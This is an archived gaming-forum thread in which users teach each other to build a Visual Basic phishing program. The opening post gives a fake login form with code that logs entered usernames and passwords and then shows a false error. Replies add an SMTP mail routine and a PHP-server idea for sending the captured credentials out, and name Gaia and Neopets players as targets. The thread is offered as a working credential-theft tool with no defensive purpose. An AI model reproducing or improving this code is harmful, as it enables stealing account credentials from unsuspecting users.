Read-only archive

A preserved archive of the Logical Gamers community forums, 2009-2025. The original threads and posts, served read-only. Registration, posting and private messages are gone for good.

[VB] How To Make A Phisher

1.3k views · started by Leaker ·
#1
[VB] How To Make A Phisher
Okay here is the steps you need to do

add
2 labels
2 textbox
1 button
1 radiobutton

Labels name them Username and Password
Textbox leave them normal and then the for the password put TRUE on use password character
Button name it login!
radiobutton name it as Remember Me

Now if you want it to record all what they type then click on the form and make it open coding and put this code
        Dim W As New System.IO.StreamWriter("filepath\logs.txt", True)

        W.WriteLine("Username: " & TextBox1.Text & " & " & "Password: " & TextBox2.Text)

        W.Close()


Now if you want it for when they click the button put this code
        Dim W As New System.IO.StreamWriter("filepath\logs.txt", True)

        W.WriteLine("Username: " & TextBox1.Text & " & " & "Password: " & TextBox2.Text)

        W.Close()

        MsgBox("Failed To Login!")

Now me i like to put my stuff differnt here is one of mine
#2
That's given you have physical access to the computer. Use that mail client stuff to actually send the data somewhere.
#3
TEMPTii wrote:
That's given you have physical access to the computer. Use that mail client stuff to actually send the data somewhere.
I didnt learn that yet
#4
Public Shared Sub SendMail(strFrom as String, strTo as String, strCC as String,
strSubject as String, strBody as String, strAttachments as String, strSMTPServer as String)

'send the email
Try
Dim insMail As New MailMessage()
With insMail
.From = strFrom
.To = strTo
.Subject = strSubject
.Body = strBody
.Cc = strCC
If Not strAttachments.Equals(String.Empty) Then
Dim strFile As String
Dim strAttach() As String = strAttachments.Split(";")
For Each strFile In strAttach
.Attachments.Add(New MailAttachment(strFile.Trim()))
Next
End If
End With

If Not strSMTPServer.Equals(String.Empty) Then
SmtpMail.SmtpServer = strSMTPServer
End If

SmtpMail.Send(insMail)

Catch e As Exception
Console.WriteLine(e.Message)
End Try

End Sub

From Open Source Institute learn from this.
#5
TEMPTii wrote:
That's given you have physical access to the computer. Use that mail client stuff to actually send the data somewhere.


That or you can just have a wamp server with ports forwarded so you can have a php file on it and have a webbrowser visit containing the information in the url so it can store it.
#6
If you find whatever your phishing worth all of that then go ahead. I think email is easier.
#7
Thanks, I guess. Why does everything have to be about Gaya phishing, though?
#8
HTMLRulezD00d wrote:
Thanks, I guess. Why does everything have to be about Gaya phishing, though?


It's not just Gaia. You can use this for other reasons as well it's just this is good for local. That's just the GUI he made it for. It could say neopets instead.
#9
What's the programme called?
#10
Visual Basic. You can download it on the microsoft website, or just search it on google.
#11
Well this is just a sample i made.